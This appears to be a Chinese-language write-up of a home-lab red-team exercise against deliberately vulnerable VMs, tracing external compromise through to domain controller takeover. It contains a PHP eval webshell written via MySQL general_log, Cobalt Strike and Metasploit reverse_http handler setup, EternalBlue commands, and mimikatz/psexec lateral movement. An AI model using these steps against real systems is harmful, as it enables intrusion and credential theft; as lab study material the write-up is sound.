刚开始了解内网的时候做的,可能细节有问题的地方会比较多
0 - 环境配置
-
Vmware虚拟网络配置
-
三个靶机设置
- Win7(添加一张网卡)
- VMnet1
- VMnet2
- Win2003
- VMnet1
- Win2008
- VMnet1
- Win7(添加一张网卡)
-
攻击机(kali)设置
- VMnet2
-
网络拓扑
- kali ---> Win7 ---> ( Win2003 & Win2008 )
-
进入Win7
C:/phpStudy
运行phpStudy并启动服务- 密码都是
hongrisec@2019
- 密码都是
1 - 外网渗透
1-1 发现主机
netdiscover -i eth0 -r 10.10.10.0/24
要等一小会儿(抓包)
1-2 端口探测
nmap -sV 10.10.10.129
(排除DHCP服务器之外可以都尝试一下)
1-3 资产发现
访问10.10.10.129
,发现是个phpStudy探针页面
用dirsearch
扫了一下,发现有phpmyadmin
访问/phpinfo.php
,通过搜索document_root
获得web目录的绝对路径为C:/phpStudy/WWW
1-4 Getshell
访问/phpadmin
,并通过root/root
弱口令进入系统
发现secure_file_prive = NULL
,就是说不能直接用into outfile
写shell
用一般日志写shell,先修改参数
set global general_log = on; set global general_log_file = "C:/phpStudy/WWW/r3col.php";
执行一个sql查询select "<?php eval($_POST['s'])?>";
然后用蚁剑连接
2 - 内网渗透
2-1 CS上线
Cobalt Strike下载地址 & 使用方法
开启teamserver
:
把CS文件夹copy到linux中,使用./teamserver linux主机ip password
运行teamserver
添加Listener
:
主菜单(导航栏)Cobalt Strike
--->Listener
--->Add
--->Payload=Beacon HTTP
填上teamserver
的IP即可
生成木马:
主菜单(导航栏)Cobalt Strike
--->Attacks
--->Packages
--->Window Excutable
---> 选择刚刚添加的teamserver
对应的Listener
--->点击Generate
把生成的木马上传到目标主机并运行:
右键上线的机器,interact
进入beacon
,先使用sleep 1
把sleep时间调整为1秒
CS与上线机器的交互过程是:CS Client ---> CS Server ---- sleep 60s ----> Target PC
默认时间为60s,比较慢,在打靶机的时候可以设置为0/1
2-2 提权 & hashdump
提权:
右键上线的主机--->Access
--->Elevate
--->选择teamserver
对应的Listener
--->点击Launch
hashdump:
2-2 探测网络信息
在beacon
中执行shell ipconfig
beacon的用法
shell CMD
来执行系统命令
发现内网192.168.52.0/24
本机为143
shell systeminfo /all
发现域god.org
和登录服务器\\OWA
因为网络设置成NAT会从外网解析god.org
域,所以这里把kali+win7(模拟外网)设置为主机模式,网段为192.168.72.0/24
net view
(CS自带的命令,会自动探测IP)
shell net time /domain
一般来说,域内时间服务器就是域控
确认一下 shell net group "domain controllers" /domain
整理一下内网信息:
- 域
god.org
- 域内机器
- 上线机器(win7)
192.168.52.143
- 域控/域登录服务器
192.168.52.138
owa.god.org
- 另一个域内机器
192.168.52.141
- 上线机器(win7)
2-3 横向移动
2-3-1 建立SMB Beacon
SMB Beacon使用windows管道(pipe)进行通信,可以把以此为枢纽,进行内网 <---> 外网的流量转发
首先,新建一个Listener
,payload
选择Beacon SMB
然后在要建立SMB Beacon
的beacon对话框中输入spawn [Listener_Name]
(也可以选择对应的会话,右键-->Spawn
--->选择新建的Listener
)
2-3-2 msf与cs联动
之后借助msf进行渗透,建立目标路由:kali ---> cs-server ---> win7 ---> 内网
运行msfconsole并加载监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.72.129
set lport 8000
exploit
在CS中添加Listener
,我没有找到如何创建foreign_reverse_tcp
,(CS4.2)所以使用了foreign_reverse_http
选择system
权限的win7会话,右键-->spawn
--->选择刚刚新建的Listener
成功上线
2-3-3 配置静态路由
run get_local_subnets #查看网段/子网
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由
background #转入后台运行
下图表明,子网为192.168.52.0/24
的流量都会通过刚刚建立的Session 9
(win7)来路由
2-3-4 对DC进行扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135,139,3306,3389
run
发现445端口开启,可能存在ms17-010漏洞
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
试了很多次都没有成功
2-3-5 mimikatz
利用logonpasswords
调用mimikatz
,抓取到了可以登录域内机器的管理员账号,利用psexec
建立连接:
Targets
--->右键--->Jump
--->psexec
--->选择域管理员账号,并选择之前用来做smb转发的listener,session选择spawn出的机器
拿下域控